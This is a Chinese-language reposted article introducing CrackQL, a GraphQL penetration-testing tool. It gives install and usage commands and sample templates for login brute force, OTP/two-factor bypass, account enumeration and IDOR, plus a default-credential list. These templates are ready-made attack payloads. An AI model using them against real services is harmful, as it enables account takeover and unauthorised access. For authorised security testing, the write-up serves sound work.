CrackQL是一款功能强大的图形化密码爆破和模糊测试工具,在该工具的帮助下,广大研究人员可以针对密码安全和应用程序安全进行渗透测试。
除此之外,CrackQL同时也是一款通用的GraphQL渗透测试工具,它可以控制速率限制和其他分析控制技术来对目标系统进行凭证爆破和模糊测试等操作,以测试程序的安全性。
CrackQL的工作原理是将单个GraphQL查询或变异自动批量处理为多个别名操作,该工具可以根据CSV输入变量确定要使用的别名数。在以编程方式生成分批GraphQL文档后,CrackQL然后会分批并将Payload发送到目标GraphQL API,并解析结果和错误信息。
Python3
Requests
GraphQL
Jinja
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone [email protected]:nichola*saleks/CrackQL.git
接下来,利用项目提供的requirements.txt文件安装该工具所需的依赖组件:
pip install -r requirements.txt
python3 CrackQL.py -hOptions:
-h, --help 显示工具帮助信息和退出
-t URL, --target=URL 目标GraphQL节点的URL路径
-q QUERY, --query=QUERY
指定输入查询或编译操作
-i INPUT_CSV, --input-csv=INPUT_CSV
输入CSV列表的文件路径
-d DELIMITER, --delimiter=DELIMITER
CSV输入分隔符,默认:“,”
-o OUTPUT_DIRECTORY, --output-directory=OUTPUT_DIRECTORY
存储结果的输出目录,默认:./results/[domain]_[uuid]/
-b BATCH_SIZE, --batch-size=BATCH_SIZE
每次GraphQL文档请求的批量操作数量,默认:100
-D DELAY, --delay=DELAY
批量请求发送的时间间隔,默认:0
--verbose 启用工具Verbose模式
-v, --version 输出工具当前版本和退出
python3 CrackQL.py -t http://example.com/graphql -q sample-queries/login.graphql -i sample-inputs/usernames_and_passwords.csv
sample-queries/login.graphql
mutation {login(username: {{username|str}}, password: {{password|str}}) {
accessToken
}
}
sample-queries/otp-bypass.graphql
mutation {twoFactor(otp: {{otp|int}}) {
accessToken
}
}
sample-queries/enumeration.graphql
query {signup(email: {{email|str}}, password: {{password|str}}) {
user {
}
}
}
sample-queries/idor.graphql
query {profile(uuid: {{uuid|int}}) {
name
picture
}
}
sample-inputs/usernames_and_passwords.csv
username, passwordadmin, admin
admin, password
admin, pass
admin, pass123
admin, password123
operator, operator
operator, password
operator, pass
operator, pass123
operator, password123
本项目的开发与发布遵循BSD-3-Clause开源许可证协议。
CrackQL:【GitHub传送门】
https://portswigger.net/burp/documentation/desktop/tools/intruder
https://www.graphql-modules.com/docs#authentication-module
https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application
https://github.com/nichola*saleks
https://github.com/dolevf
文章来源:freebuf.com
黑白之道发布、转载的文章中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途及盈利等目的,否则后果自行承担!
如侵权请私聊我们删文
END
多一个点在看多一条小鱼干